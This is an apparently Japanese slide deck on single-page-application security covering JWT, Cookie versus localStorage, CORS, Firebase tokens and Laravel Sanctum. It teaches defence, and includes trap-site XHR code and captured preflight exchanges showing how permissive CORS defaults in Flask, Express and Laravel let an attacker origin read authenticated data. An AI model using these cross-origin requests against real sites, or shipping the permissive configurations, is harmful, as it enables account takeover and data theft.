394.3K Views
October 03, 21
スライド概要
シングルページアプリケーション(SPA)において、セッションIDやトークンの格納場所はCookieあるいはlocalStorageのいずれが良いのかなど、セキュリティ上の課題がネット上で議論されていますが、残念ながら間違った前提に基づくものが多いようです。このトークでは、SPAのセキュリティを構成する基礎技術を説明した後、著名なフレームワークな状況とエンジニアの技術理解の現状を踏まえ、SPAセキュリティの現実的な方法について説明します。
動画はこちら
https://www.youtube.com/watch?v=pc57hw6haXk
SPAセキュリティ入門 EGセキュアソリューションズ株式会社 徳丸 浩
徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – – – – EGセキュアソリューションズ株式会社取締役CTO https://www.eg-secure.co.jp/ 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/ 著書「体系的に学ぶ 安全なWebアプリケーションの作り方(第2版)」(2018年6月) YouTubeチャンネル「徳丸浩のウェブセキュリティ講座」 https://j.mp/web-sec-study – 技術士(情報工学部門) © 2021 Hiroshi Tokumaru 2
本日お話したいこと • SPA(Single Page Application)のセキュリティの基礎 • JWT(JSON Web Token)をセッション管理に用いることの是非 • CookieとlocalStorageの比較に対する論争について • CORSを甘く見てはいけない • どうすればよいか © 2021 Hiroshi Tokumaru 3
前提知識の復習 • JWT : 後で説明します • Cookie – サーバーの指示でブラウザに保存されるデータ – アクセスの度にクッキーがサーバーに送信される • localStorage – JavaScript操作でブラウザに保存(set)され、参照(get)、削除(remove)できる – シンプルなキー・バリュー・ストレージでサーバーに自動送信されない – アクセスの範囲は同一オリジン、消さない限り残り続ける • ステートレス・トークン – サーバーに問い合わせなくても通行可能な切符(のようなもの) • ステートフル・トークン – 都度サーバーに問い合わせて通行可能か判断する切符(のようなもの) © 2021 Hiroshi Tokumaru 4
ネットでの議論の振り返り © 2021 Hiroshi Tokumaru 5
HTML5のLocal Storageを使ってはいけない(翻訳) 本気で申し上げます。local storageを使わないでください。 local storageにセッション情報を保存する開発者がこれほど多い理由について、私に はさっぱり見当がつきません。しかしどんな理由であれ、その手法は地上から消え てなくなってもらう必要がありますが、明らかに手に負えなくなりつつあります。 私は毎日のように、重要なユーザー情報をlocal storageに保存するWebサイトを新た に開いては頭を抱え、それをやらかして致命的なセキュリティ問題への扉を開いて しまう開発者がいかに多いかを思い知ってつらい気持ちになっています。 それでは、local storageとは何か、そしてlocal storageにセッションデータを保存し てはならない理由について、私の魂の奥底の叫びをお伝えしたいと思います。 https://techracho.bpsinc.jp/hachi8833/2019_10_09/80851 6
おーい磯野ー,Local StorageにJWT保存しようぜ! ある日,HTML5のLocal Storageを使ってはいけない がバズっていた. この記事でテーマになっていることの1つに「Local StorageにJWTを保存してはいけ ない」というのがある. しかし,いろいろ考えた結果「そうでもないんじゃないか」という仮定に至ったの でここに残しておく. 【中略】 一見すると,これはLocal Storageを使う場合に発生する懸念事項をクリアしている ように見えた. しかしよく考えると,攻撃者にとって真に重要なのは認証トークンでは無く,認証 トークンを使って何をするか,ということのはずだ. このことについては,Why HttpOnly Won't Protect Youでも述べられている. https://scrapbox.io/musou1500/%E3%81%8A%E3%83%BC%E3%81%84%E7%A3%AF%E9%87%8E%E3%83% BC%EF%BC%8CLocal_Storage%E3%81%ABJWT%E4%BF%9D%E5%AD%98%E3%81%97%E3%82%88%E3 %81%86%E3%81%9C%EF%BC%81 7
どうしてリスクアセスメントせずに JWT をセッションに使っちゃうわけ? はあああ〜〜〜〜頼むからこちらも忙しいのでこんなエントリを書かせないでほし い (挨拶)。もしくは僕を暇にしてこういうエントリを書かせるためのプログラマー を募集しています (挨拶)。 JWT (JSON Web Token; RFC 7519) を充分なリスクの見積もりをせずセッションに使 う事例が現実に観測されはじめ、周りにもそれが伝染しはじめているようなので急 いで書くことにします。 (ステートレスな) JWT をセッションに使うことは、セッ ション ID を用いる伝統的なセッション機構に比べて、あらゆるセキュリティ上のリ スクを負うことになります。 https://co3k.org/blog/why-do-you-use-jwt-for-session 8
JWT認証、便利やん? どうして JWT をセッションに使っちゃうわけ? - co3k.org に対して思うことを書く。 (ステートレスな) JWT をセッションに使うことは、セッション ID を用いる伝統的なセッション機 構に比べて、あらゆるセキュリティ上のリスクを負うことになります。 と大口叩いておいて、それに続く理由がほとんどお粗末な運用によるものなのはどうなのか。最後に、 でもそこまでしてステートレスに JWT を使わなくてはいけないか? とまで行っていますが、JWT認証のメリットはその実装のシンプルさとステートレスなことにありま す。現実的には実際はDB参照とか必要になったりするんですが、ほとんど改ざん検証だけで済むのは 魅力的です。トレードオフでリアルタイムでユーザー無効化ができないことくらいですかね。ライブ ラリなんて使う必要ないほどシンプルだし、トレードオフさえ許容できればむしろ、なぜこれ以上に 複雑な認証システム使わないといけないの?複雑さゆえにライブラリが必要になったり、そのライブ ラリが脆弱性を抱えていたり、そもそも使い方を間違えてしまったりするんでしょう。 https://auth0.hatenablog.com/entry/2018/09/21/004131 9
SPA(Single Page Application)とは? © 2021 Hiroshi Tokumaru 10
SPA以前のウェブ=MPA(Multi-Page Application) JavaScriptで代入した値は次のページではリセットされる → セッション管理の機能によりデータを引き継ぐ こんにちは 次へどうぞ NEXT NEXT 処理 処理 © 2021 Hiroshi Tokumaru ありがとうござい ました NEXT 処理 11
SPA(Single Page Application)の構造 ページ遷移をしないのでJavaScriptの 変数は保持される。 ただし、ページ遷移、戻る、リロー ドで変数の値はリセットされる SPA → セッション管理あるいは localStorageによりデータを引き継ぐ HTML XHR/ Fetch コンテンツ 配信 Webサーバー © 2021 Hiroshi Tokumaru JSON 処理 APIサーバー 12
SPAといってもセキュリティの基本は同じ • フロント側(JavaScript) – クロスサイトスクリプティング(DOM Base XSS) – オープンリダイレクト – evalインジェクション – … • サーバー側(API) – SQLインジェクション – クロスサイトスクリプティング(反射型、持続型) – クロスサイトリクエストフォージェリ(CSRF) – … • SPAのセキュリティ = APIのセキュリティ + JavaScriptのセキュリティ – と言っても過言ではない © 2021 Hiroshi Tokumaru 13
SPAのサーバー構成 Webサーバー https://www.example.com APIサーバー https://api.example.com JSON HTML SPA © 2021 Hiroshi Tokumaru 認証サーバー https://auth.example.com JWT 等 Web、API、認証の各サーバー は、まとめることもあれば、 更に分離する場合もある 14
SPAとCORS(Cross-Origin Resource Sharing) © 2021 Hiroshi Tokumaru 15
この項で説明すること • JavaScript で複数サーバをまたがって 通信する(XMLHttpRequestや Fetch API)場合には CORS(Cross-Origin Resource Sharing) の理解が不 可欠です • しかし、最近は「CORSはフレームワークにまかせておけば大丈夫」 という風潮があるようです • フレームワーク任せのCORS対応では、大きな落とし穴があることを 説明します © 2021 Hiroshi Tokumaru 16
CORSがなかった時代は同一オリジンのみ通信できた
Webサーバー
https://www.example.com
HTML
<div>xxx</div>
<script> … </script>
JSON
{ "id": 123 }
同一オリジンとは、
スキーム(https)
ホスト(www.example.com)
ポート(443)
がすべて同一である状態
IE7
e
var req = new XMLHttpRequest();
req.open("GET", "/api");
© 2021 Hiroshi Tokumaru
17
CORSがなかった頃のセキュリティ保護=同一オリジンポリシー 罠サイト https://evil.example.org Webサーバー https://www.example.com HTML IE7 e IE7 CORSがないと、このリクエストは エラーになっていた = 安全だが不便 var req = new XMLHttpRequest() req.open("GET", "https://www.example.com/api") © 2021 Hiroshi Tokumaru 18
CORSによるセキュリティ保護(現在のブラウザ)
罠サイト
https://evil.example.org
Webサーバー 兼 APIサーバー
https://www.example.com
{
HTML
}
"email": "[email protected]",
"tel": "03-1290-5678"
Google Chrome
Error: CORSヘッダがない
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://evil.example.org
const req = new XMLHttpRequest()
req.open("GET", "https://www.example.com/api")
req.withCredentials = true
© 2021 Hiroshi Tokumaru
クッキーは飛びレスポンスも返るが、
上の2行が返されないと、
レスポンスは受け取れない
19
Cookieを伴うXHRは厳しい条件が課せられている • CORSのルールは複雑だが、Cookieを使わない場合は、設定が甘くて も実害がないケースが多い • Cookieを伴う場合は間違えると大変! – 【必須】Access-Control-Allow-Credentials: true – 【必須】 Access-Control-Allow-Origin: http://www.example.org – Access-Control-Allow-Origin: * ではレスポンスを受け取れない • Cookieを伴わないXHRは Access-Control-Allow-Origin: * でレスポンス を受け取れるが、Cookieがない=認証がない ので通常大問題ではない © 2021 Hiroshi Tokumaru 20
現在のフレームワークはどうなっているか? © 2021 Hiroshi Tokumaru 21
Flask (Python用軽量フレームワーク) from flask import Flask, session, jsonify from flask_cors import CORS # 便利なパッケージを導入 app = Flask(__name__) CORS(app, supports_credentials=True) # ... OPTIONS / HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Origin: https://evil.example.com Host: www.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: x-evil Referer: https://evil.example.com/ HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-evil Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT Vary: Origin Access-Control-Allow-Origin: https://evil.example.com Access-Control-Allow-Credentials:Content-Length: true 0 Server: Werkzeug/2.0.1 Python/3.9.5 Access-Control-Allow-Headers: x-evil Date:GET, Wed,HEAD, 29 Sep 2021 07:30:57 Access-Control-Allow-Methods: DELETE, OPTIONS, PATCH, GMT POST, PUT © 2021 Hiroshi Tokumaru 22
Express (JavaScript用軽量かつ人気のフレームワーク)
const express = require('express')
const cors = require('cors') // 便利なパッケージ
const app = express()
app.use(cors({ origin: true, credentials: true }))
// ...
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.1 204 No Content
X-Powered-By: Express
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods:
GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: x-evil
Content-Length:
0
Access-Control-Allow-Origin:
https://evil.example.com
Date: Wed, 29
Sep 2021 07:55:24 GMT
Access-Control-Allow-Credentials:
true
Connection:
keep-alive
Access-Control-Allow-Methods:
GET,HEAD,PUT,PATCH,POST,DELETE
Keep-Alive:
timeout=5
Access-Control-Allow-Headers:
x-evil
© 2021 Hiroshi Tokumaru
23
われらが Laravel はどうか?
$ composer create-project laravel/laravel .
… 略
$ cat config/cors.php # Laravel 7 以降、laravel-corsが自動的にインストールされる
<?php
return [
/* 省略 */
'paths' => ['api/*', 'sanctum/csrf-cookie'],
'allowed_methods' => ['*'],
'allowed_origins' => ['*'],
'allowed_origins_patterns' => [],
'allowed_headers' => ['*'],
'exposed_headers' => [],
'max_age' => 0,
'supports_credentials' => false, // デフォルトでは Cookie は送信されない
];
© 2021 Hiroshi Tokumaru
24
Laravel
$ cat config/cors.php
...
'supports_credentials' => false,
];
OPTIONS /api/index HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 204 No Content
Host: www.example.com
Date: Wed, 29 Sep 2021 08:14:51 GMT
X-Powered-By: PHP/8.0.8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Access-Control-Max-Age: 0
Access-Control-Allow-Origin:
*
Content-type: text/html; charset=UTF-8
Access-Control-Allow-Methods:
DELETE
Vary: Access-Control-Request-Method,
Access-Control-Request-Headers
Access-Control-Allow-Headers:
x-evil
Connection: close
Date: Wed, 29 Sep 2021 08:14:51 GMT
Cache-Control: no-cache, private
© 2021 Hiroshi Tokumaru
25
Laravel
$ cat config/cors.php
...
'supports_credentials' => true,
];
// クッキーも使いたいよねー
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 204 No Content
Host: www.example.com
Date: Wed, 29 Sep 2021 08:25:52 GMT
X-Powered-By: PHP/8.0.8
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Access-Control-Max-Age: 0
Access-Control-Allow-Origin:
https://evil.example.com
Content-type:
text/html; charset=UTF-8
Access-Control-Allow-Credentials:
Connection: true
close
Cache-Control:
Access-Control-Allow-Methods:
DELETE no-cache, private
Date: Wed, 29 Sep 2021 08:25:52 GMT
Access-Control-Allow-Headers:
x-evilAccess-Control-Request-Method,
Vary: Origin,
Access-Control-Request-Headers
© 2021 Hiroshi Tokumaru
26
フレームワークの現状について • 各フレームワークにてCORSに簡単に対応できるパッケージ / プラグイ ンが用意されている • 細かく設定しなくても、デフォルトで「なんでもあり」という設定に なっている場合がある • クッキーによるセッション管理を行っている場合、CORSの設定不備 でXSS脆弱性等がなくてもなりすましができてしまう • HTTPリクエストヘッダにトークンをつけている場合は、CORS設定不 備があってもなりすましはされない – リクエストヘッダはJavaScriptにより設定するので、同一オリジンポリシーによ り保護される © 2021 Hiroshi Tokumaru 27
Authorizationヘッダにトークンを入れる場合 © 2021 Hiroshi Tokumaru 28
ヘッダにトークンを付与する場合はCORS不備の影響は少ない 罠サイト https://evil.example.org Webサーバー 兼 APIサーバー https://www.example.com const token = localStorage.getItem('token') https://www.example.com token 別オリジンの localStorageには アクセス不可 eyJXXXXXXXXX © 2021 Hiroshi Tokumaru Authorization ヘッダをつけたくて も、罠サイトにはトークンが保存 されていないのでつけられない → CORS的にはヘッダのほうが安全 29
Firebase REST APIで学ぶJWT この項では、代表的なサーバーレス基盤であるFirebaseのREST APIを用いて、JWTの基本を学びます © 2021 Hiroshi Tokumaru 30
Firebaseとは • Googleが提供するサーバーレスプラットフォーム • 自前のサーバーを用意することなく、各種機能を従量課金で利用可能 – 無料のSparkプランもあり • 以下の機能を提供 – – – – – – Authentication : 認証基盤 Realtime Database : データベース(非SQL) Cloud Firestore :データベース(非SQL) Cloud Storage : ファイル保管庫 Firebase Hosting : ウェブサイトのホスティング Cloud Functions : 様々なトリガーにより機能を実行する • REST APIの他、様々な言語向けのSDKを提供 © 2021 Hiroshi Tokumaru 31
Firebaseを用いたSPAのサーバー構成 APIサーバー Webサーバー(Firebase Hosting) 認証サーバー https://firestore.googleapis.com https://identitytoolkit.googleapis.com https://www.example.com HTML 画像 CSS JavaScript JSON JWT 等 SPA © 2021 Hiroshi Tokumaru 32
Firebase Authentication の設定画面 https://console.firebase.google.com/project/firebbs-XXXXX/authentication/users 33
Firebase Authentication で使える認証プロバイダ https://console.firebase.google.com/project/firebbs-XXXXX/authentication/providers 34
ログイン処理のPOSTリクエスト(要旨)
POST /v1/accounts:signInWithPassword?key=AIzaSyBPB4y62at_… HTTP/1.1
Host: identitytoolkit.googleapis.com
Content-Type: application/json
Origin: https://www.example.com
User-Agent: Mozilla
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 98
{
"email": "[email protected]",
"password": "password",
"returnSecureToken": true
}
© 2021 Hiroshi Tokumaru
35
ログイン処理のHTTPレスポンス(要旨)
HTTP/1.1 200 OK
このリクエストの前にプリフライト
リクエストが飛ぶが自動的に許可さ
Content-Type: application/json; charset=UTF-8
れている
Content-Length: 1372
Access-Control-Allow-Origin: https://www.example.com
{
}
"kind": "identitytoolkit#VerifyPasswordResponse",
"localId": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"email": "[email protected]",
これがJWT(IDトークン)
"displayName": "",
"idToken": "eyJhbGciOiJSUzI1NiIs … AJfEzAxQ3PS90A",
"registered": true,
"refreshToken": "ACzBnCjMDis3mBBLVijV … 6AaswVqvc5Z0E4AkX3FA",
"expiresIn": "3600"
リフレッシュトークン(後述)
© 2021 Hiroshi Tokumaru
36
JWTの構造 ヘッダー(Base64URLエンコード) ペイロード(Base64URLエンコード) 署名 https://jwt.io/ 37
JWTとは(1) • • • • JWT (RFC 7519)は認証トークンの標準フォーマットの一つ ヘッダー . ペイロード . 署名 からなる。いずれもbase64urlエンコード JWTはOpenID Connect などで認証情報の持ち運びに利用される ヘッダーの例(エンコード前) { アルゴリズム: RS256形式の署名 "alg": "RS256", "kid": "7b87112375427d657f5e25ca01d565e592a231db", "typ": "JWT" } JWTであることを示す 署名鍵の識別子 • このJSONをBase64エンコードすると eyJ で始まるので、eyJがJWTの 代名詞となっている © 2021 Hiroshi Tokumaru 38
JWTとは(2)
• ペイロードの例(エンコード前)
JWT の発行者 (issuer) の識別子
{
"iss": "https://securetoken.google.com/firebbs-XXXXX",
"aud": "firebbs-XXXXX",
"auth_time": 1632916659,
JWT の受取先
認証日時(エポックタイム)
"sub": "MhdJidRysBNPdHQ1zHIIaGE363y2",
ユーザーの一意な識別子(不変のもの)
"iat": 1632966032,
"exp": 1632969632,
}
JWT発行日時(エポックタイム)
JWTの有効期限(エポックタイム)
© 2021 Hiroshi Tokumaru
39
JWTとは(3) • 署名部は、バイナリ形式の署名をbase64urlエンコードしたもの。署名 パートはJSON形式ではない • 署名がないと、ペイロードの改ざんが簡単にできてしまう APIサーバー 認証サーバー { } "sub": 1235, "exp": 17xxx { } aliceさんですね © 2021 Hiroshi Tokumaru "sub": 1236, "exp": 17xxx bobです 40
トークンに署名つけないなんて、ありえない …と思うでしょ © 2021 Hiroshi Tokumaru 41
ありました © 2021 Hiroshi Tokumaru 42
[独自記事]7pay不正利用問題、「7iD」に潜んでいた脆弱性の一端が判明 セブン&アイ・ホールディングスが決済サービス「7pay(セブンペ イ)」の不正利用を受けて外部のIDからアプリへのログインを一時停止 した措置について、原因となった脆弱性の一端が明らかになった。日経 xTECHの取材で2019年7月12日までに分かった。外部IDとの認証連携機 能の実装に不備があり、パスワードなしで他人のアカウントにログイン できる脆弱性があったという。 同社は2019年7月11日午後5時、FacebookやTwitter、LINEなど5つの外 部サービスのIDを使ったログインを一時停止した。「各アプリ共通で利 用しているオープンIDとの接続部分にセキュリティー上のリスクがある 恐れがあるため」(広報)としている。 https://xtech.nikkei.com/atcl/nxt/news/18/05498/ より引用 43
https://www.businessinsider.jp/post-194660 より引用 44
https://www.businessinsider.jp/post-194660 より引用 45
トークンが受け取れてしまう 酷い脆弱性だが、7pay事件の原因ではないそうです https://www.businessinsider.jp/post-194660 より引用 46
JWT(IDトークン)による認証・認可制御 © 2021 Hiroshi Tokumaru 47
Cloud Firestore (データベース)の設定画面 https://console.firebase.google.com/project/firebbs-31a11/firestore/data/~2Farticles~2FX… 48
Cloud Firestore の認可設定画面
認証ユーザのみ読み書きを許可するという
一番簡単な認可ルール
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /{document=**} {
allow read, write: if request.auth.uid != null;
}
IDトークンのチェックが自動的に行われ、認証状態を
}
request.authオブジェクトが保持している
}
https://console.firebase.google.com/project/firebbs-XXXXX/firestore/rules
49
コンテンツ取得のGETリクエスト(要旨) GET /v1/projects/firebbs-XXXXX/databases/(default)/documents/articles HTTP/1.1 Host: firestore.googleapis.com Origin: https://www.example.com Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjdiODcx … xLv5Dc8uPYSPhP0xxQ1w User-Agent: Mozilla Authorizationヘッダに Accept: */* Accept-Encoding: gzip, deflate Bearerトークンとして Connection: close IDトークンを付与 © 2021 Hiroshi Tokumaru 50
コンテンツ取得のHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 513
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{
"documents": [
{
"name": "projects/firebbs-31a11/databases/(default)/documents/articles/XnVM…",
"fields": {
"uid": {
"stringValue": "MhdJidRysBNPdHQ1zHIIaGE363y2"
},
"comment": {
"stringValue": "PHPカンファレンス2021にようこそ"
},
© 2021 Hiroshi Tokumaru
51
JWTのタイムアウトとリフレッシュ © 2021 Hiroshi Tokumaru 52
この項で説明すること • JWTはサーバーに問い合わせることなくログイン状態を持ち運べる • 元々OpenID Connect等ID連携用に設計されたが、セッション管理にも 便利じゃんということで大流行 • でも、サーバーに問い合わせなくても良いということは、サーバー側 でセッション破棄することができない • この緩和策としてJWTのタイムアウトとリフレッシュを使います © 2021 Hiroshi Tokumaru 53
JWTの有効期限とリフレッシュ • JWTは一々認証サーバー側に問い合わせしなくてもJWT単体で認証状 態を確認できる(署名鍵は必要) • JWTに有効期限がない、あるいは有効期限が非常に長いと、JWTの無 効化が難しい • このため、JWTは通常有効期限を定めて、有効期限が切れたら認証 サーバーに再発行してもらう(リフレッシュ) • Firebase AuthenticationのREST APIが発行するJWTの有効期限は1時間 (3600秒) © 2021 Hiroshi Tokumaru 54
有効期限が切れたJWTでアクセスすると401になる
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=UTF-8
Content-Length: 123
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{
"error": {
"code": 401,
"message": "Missing or invalid authentication.",
"status": "UNAUTHENTICATED"
}
}
© 2021 Hiroshi Tokumaru
55
トークンリフレッシュのPOSTリクエスト(要旨)
POST /v1/token?key=AIzaSyBPXXXXXXXXXXXXXXXXXXXXm2LAjks HTTP/1.1
Host: securetoken.googleapis.com
Content-Type: application/json
User-Agent: Mozilla
Origin: https://www.example.com
リフレッシュ要求の入力
Content-Length: 292
値としてリフレッシュ
トークンを指定
{
"grant_type":"refresh_token",
"refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx7O_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_Gr94uHC5S_NEOHkDh
3w"
}
© 2021 Hiroshi Tokumaru
56
トークンリフレッシュのHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2239
Access-Control-Allow-Origin: https://www.example.com
{
"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ",
"expires_in": "3600",
"token_type": "Bearer",
"refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx … b7PFkTmz_Gr94uHC5S_NEOHkDh3w",
"id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ",
"user_id": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"project_id": "592373516447"
リフレッシュされたID
トークンは、今後1時間
有効になる
}
© 2021 Hiroshi Tokumaru
57
ユーザー セッションの管理 Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー 認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次 のいずれかが発生した場合にのみ有効期限が切れます。 • ユーザーが削除された • ユーザーが無効にされた • ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など) Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、 ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限 を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能 があります。 https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用 58
ユーザー セッションの管理 Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー 認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次 のいずれかが発生した場合にのみ有効期限が切れます。 • ユーザーが削除された • ユーザーが無効にされた • ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など) Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、 ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限 を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能 があります。 https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用 59
ログアウトはどうする? • IDトークン(JWT)を無効化するAPIがあれば、それを使えばよいが、 ない場合はトークンをクライアントから削除する • 「完全なログアウト」を実現する方法 – JWTの有効期限を極限まで短くする(ステートレスの性質が薄れる) – JWTの拒否リスト(Deny List)を用いる(サーバー側で管理=ステートを持つ) – APIゲートウェイでセッション管理する(後述) © 2021 Hiroshi Tokumaru 60
APIゲートウェイの利用(マイクロソフトの解説より) APIゲートウェイにてセッ ション管理を行えば即時ログ アウトは容易に実現できる https://docs.microsoft.com/ja-jp/azure/architecture/microservices/design/gateway 61
IDやパスワードをだまし取ろうとするページについて(Yahoo!) フィッシングに対する対応方法の記事 https://support.yahoo-net.jp/PccYjcommon/s/article/H000011314 62
パスワードを変更したら、各トークンはどうなる? • Firebase Authentication REST APIの場合、パスワード変更後 – IDトークンは有効期限内は有効のまま – リフレッシュトークンは直ちに無効化される – パスワード変更後最長1時間はセッション乗っ取りされ続ける • IDトークンはステートレス(サーバーに確認しない)、リフレッシュ トークンはステートフルなので自然な結果 • Firebase Authenticationの言語毎に用意されたSDKの場合は即時ログア ウトを含め細かい制御ができる © 2021 Hiroshi Tokumaru 63
Laravel Sanctumの場合 この項では、Laravel Sanctumが提供するステートフル・トークンの概要と、 セキュリティ要件の実現方法について説明します © 2021 Hiroshi Tokumaru 64
Sanctumとは? イントロダクション Laravel Sanctum(サンクタム、聖所)は、SPA(シングルページアプリ ケーション)、モバイルアプリケーション、およびシンプルなトーク ンベースのAPIに軽い認証システムを提供します。Sanctumを使用す ればアプリケーションの各ユーザーは、自分のアカウントに対して複 数のAPIトークンを生成できます。これらのトークンには、そのトー クンが実行できるアクションを指定するアビリティ/スコープが付与 されることもあります。 仕組み Laravel Sanctumは、2つの別々の問題を解決するために存在します。 ライブラリを深く掘り下げる前に、それぞれについて説明しましょう。 https://readouble.com/laravel/8.x/ja/sanctum.html より引用 65
Sanctumとは? APIトークン 1つ目にSanctumは、OAuthの複雑さなしに、ユーザーにAPIトークンを発行する ために使用できるシンプルなパッケージです。この機能は、「パーソナルアクセ ストークン」を発行するGitHubやその他のアプリケーションに触発されています。 たとえば、アプリケーションの「アカウント設定」に、ユーザーが自分のアカウ ントのAPIトークンを生成できる画面があるとします。Sanctumを使用して、これ らのトークンを生成および管理できます。これらのトークンは通常、非常に長い 有効期限(年)がありますが、ユーザーはいつでも手動で取り消すことができます。 Laravel Sanctumは、ユーザーAPIトークンを単一のデータベーステーブルに保存 し、有効なAPIトークンを含む必要があるAuthorizationヘッダを介して受信HTTP リクエストを認証することでこの機能を提供します。 Sanctumのトークンは ステートフル https://readouble.com/laravel/8.x/ja/sanctum.html より引用 66
Sanctumとは? SPA認証 2つ目にSanctumは、Laravelを利用したAPIと通信する必要があるシングルページ アプリケーション(SPA)を認証する簡単な方法を提供するために存在します。これ らのSPAは、Laravelアプリケーションと同じリポジトリに存在する場合もあれば、 Vue CLIまたはNext.jsアプリケーションを使用して作成されたSPAなど、完全に 別個のリポジトリである場合もあります。 この機能のために、Sanctumはいかなる種類のトークンも使用しません。代わり に、SanctumはLaravelの組み込みのクッキーベースのセッション認証サービスを 使用します。通常、SanctumはLaravelの「web」認証ガードを利用してこれを実 現します。これにより、CSRF保護、セッション認証の利点が提供できるだけでな く、XSSを介した認証資格情報の漏洩を保護します。 https://readouble.com/laravel/8.x/ja/sanctum.html より引用 67
今日は APIトークンについて見ていきます © 2021 Hiroshi Tokumaru 68
Sanctumのトークン(personal_access_tokensテーブル) トークンのID (一連番号) トークン ランダム文字列 トークンが示す ユーザID等 © 2021 Hiroshi Tokumaru トークン 生成日時 権限情報 トークン 更新日時 69
ログイン処理の例
public function login(Request $request)
{
$credentials = $request->validate([ // クレデンシャルの取得とバリデーション
'email' => 'required|email',
'password' => 'required'
]);
if (Auth::attempt($credentials)) {
トークン生成
$user = $request->user();
// $user->tokens()->delete(); // これを有効にすると既存のセッションがログアウトする
$token = $user->createToken("login:user{$user->id}")->plainTextToken;
return response()->json(['token' => $token], Response::HTTP_OK);
} else {
return response()->json(['status' => 'Error'], Response::HTTP_UNAUTHORIZED);
トークンをJSONとして返す
}
}
© 2021 Hiroshi Tokumaru
70
ログアウト処理の例
public function logout(Request $request)
{
$user = $request->user();
// $user->tokens()->delete();
// こちらだと一括ログアウトになる
$request->user()->currentAccessToken()->delete(); // 現在のトークンのみ削除
return response()->json(['status' => 'Logged out'], 200);
}
© 2021 Hiroshi Tokumaru
71
